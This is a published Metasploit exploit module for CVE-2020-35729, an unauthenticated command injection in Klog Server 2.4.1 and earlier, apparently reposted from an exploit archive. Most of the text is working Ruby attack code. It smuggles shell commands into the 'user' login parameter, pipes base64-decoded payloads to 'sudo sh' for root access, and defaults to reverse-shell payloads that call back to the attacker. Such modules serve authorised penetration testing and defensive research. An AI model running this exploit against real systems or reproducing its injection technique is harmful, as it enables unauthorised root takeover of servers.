Klog Server 2.4.1 Command Injection

This Metasploit module exploits an unauthenticated command injection vulnerability in Klog Server versions 2.4.1 and prior. The authenticate.php file uses the user HTTP POST parameter in a call to the shell_exec() PHP function without appropriate input validation, allowing arbitrary command execution as the apache user.


MD5 | 2fcde862940be1be38194631a27617e3

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Klog Server authenticate.php user Unauthenticated Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
in Klog Server versions 2.4.1 and prior.

The `authenticate.php` file uses the `user` HTTP POST parameter in a call
to the `shell_exec()` PHP function without appropriate input validation,
allowing arbitrary command execution as the apache user.

The sudo configuration permits the apache user to execute any command
as root without providing a password, resulting in privileged command
execution as root.

This module has been successfully tested on Klog Server version 2.4.1
virtual appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b3kc4t', # Vulnerability discovery and exploit
'Metin Yunus Kandemir', # Metasploit module
'bcoles', # Metasploit module
],
'References' =>
[
['CVE', '2020-35729'],
['CWE', '78'],
['EDB', '49366'],
['EDB', '49474'],
['PACKETSTORM', '160798'],
['PACKETSTORM', '161123'],
['URL', 'https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER'],
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[unix linux],
'Targets' => [
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
],
'Privileged' => true,
'DisclosureDate' => '2020-12-27',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true])
]
)
end

def login(user, pass)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'actions', 'authenticate.php'),
'vars_post' => {
'user' => user,
'pswd' => pass
}
})
end

def execute_command(cmd, _opts = {})
user = "#{rand_text_alpha(8..12)}\" & "
if datastore['USE_SUDO']
user << "echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
else
user << cmd
end
user << ' & echo "'

pass = rand_text_alpha(8..12)
login(user, pass)
end

def check
sleep = rand(9..11)
t1 = Time.now.to_i
res = execute_command("sleep #{sleep}")
t2 = Time.now.to_i

unless res
return CheckCode::Safe('Connection failed')
end

unless res.code == 302 && res.headers['location'].to_s.include?('login.php?error')
return CheckCode::Safe("Unexpected reply (HTTP #{res.code}). Expected redirect (HTTP 302) to login error page.")
end

diff = t2 - t1

if diff < sleep
return CheckCode::Safe("No response within the expected period of time (#{sleep} seconds).")
end

CheckCode::Vulnerable("Response received after #{diff} seconds.")
end

def exploit
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end

Related Posts